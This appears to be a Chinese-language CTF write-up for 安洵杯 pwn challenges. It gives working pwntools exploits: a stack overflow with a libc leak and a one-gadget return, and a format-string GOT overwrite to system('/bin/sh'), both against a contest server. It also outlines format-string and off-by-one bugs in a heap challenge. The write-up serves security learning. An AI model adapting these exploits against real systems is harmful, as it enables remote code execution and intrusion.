安洵杯复现

官方wp

brop64

简单的栈溢出,覆盖返回地址便可以

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
#p = remote('47.111.233.219','10000')
p = process('./pwn')
elf = ELF('pwn')
libc = elf.libc
p.recvuntil('me:')
p.send('a'*0xd8+p64(0x400963)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x4007D6))
p.recvuntil('@')
libc_base = u64(p.recv(6).ljust(8,'\x00')) - libc.symbols['puts']
log.success('libc_base: '+hex(libc_base))
p.recvuntil('me:')
p.send('a'*0xd8+p64(0x45216+libc_base))
p.interactive()

fmt32

这道题看wp说是盲打,然后dump程序,然而我什么都不会~

学会了爆破偏移

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#-*- coding:utf-8 –*-
from pwn import *
#context.log_level='debug'
elfFileName = "justtest"
libcFileName = ""
ip = "47.111.233.219"
port = 10000

Debug = 0
if Debug:
io = process(elfFileName)
else:
io = remote(ip,port)

# calculate the offset
def exec_fmt(payload):
io.recvuntil("\nPlease tell me:")
io.sendline(payload)
info = io.recvuntil("\n")
return info
auto = FmtStr(exec_fmt)
offset = auto.offset
print "offset is "+ str(offset)
io.interactive()

计算偏移下来,存在一个问题就是,要保证偏移量足够,就一定要前面增加一个字节的垃圾数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#-*- coding:utf-8 –*-
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level='debug'
#context(arch = 'i386', os = 'linux', log_level='debug')
#context(arch = 'amd64', os = 'linux', log_level='debug')
#log_level=['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
Debug = 1
if Debug:
io = process("./pwn1")
else:
io = remote('',)

#dump bin can not be loaded
#but can analysis
offset = 8
#step 1 leak the printf_got
#maybe plt 08048400
io.recvuntil('Please tell me:')
printf_got = 0x0804A014
payload_leak = 'x' + p32(printf_got) + "%8$s"
io.send(payload_leak)
libc_printf = u32(io.recv()[14:18])
print hex(libc_printf)

#step 2 find the libc
libc = LibcSearcher('printf',libc_printf)
libcbase = libc_printf - libc.dump('printf')
system_addr = libcbase + libc.dump('system')

#step 3 cover the address
payload_cover = 'x' + fmtstr_payload(8,{printf_got : system_addr},numbwritten=10)
io.sendline(payload_cover)
io.recv()

#step 4 get shell
io.sendline(";/bin/sh")

io.interactive()

fmt64

还是盲打,和上面32的一样~,看官方wp吧

heap

终于遇到一个适合我这种普通人做的题了,但愿别太难/(ㄒoㄒ)/

1
2
3
4
5
6
-------------------------------------
1. add note
2. dele note
3. show note's content
4. edit note
Enter a option:

四个功能,挺齐全的,伪代码告诉我show函数是假的~

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

banner函数存在格式化字符串漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
unsigned __int64 banner()
{
char format; // [rsp+Ch] [rbp-14h]
unsigned __int64 v2; // [rsp+18h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("Welcome to note management system!");
printf("Enter your name: ");
__isoc99_scanf("%s", &format);
printf("Hello, ", &format);
printf(&format);
puts("\n-------------------------------------");
return __readfsqword(0x28u) ^ v2;
}

get_input函数存在off-by-one

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
size_t __fastcall get_input(__int64 a1, int a2)
{
size_t result; // rax
signed int v3; // [rsp+10h] [rbp-10h]
_BYTE *v4; // [rsp+18h] [rbp-8h]

v3 = 0;
while ( 1 )
{
v4 = (v3 + a1);
result = fread(v4, 1uLL, 1uLL, stdin);
if ( result <= 0 )
break;
if ( *v4 == '\n' )
{
if ( v3 )
{
result = v3 + a1;
*v4 = 0;
return result;
}
}
else
{
result = ++v3;
if ( a2 + 1 <= v3 )
return result;
}
}
return result;
}

add函数里的key等于0X2B的时候才能malloc任意chunk的大小

1.利用格式化字符串漏洞更改key的值为0x2B

2.利用off-by-one漏洞泄露libc

3.getshell

exp参照官方的,这里省略..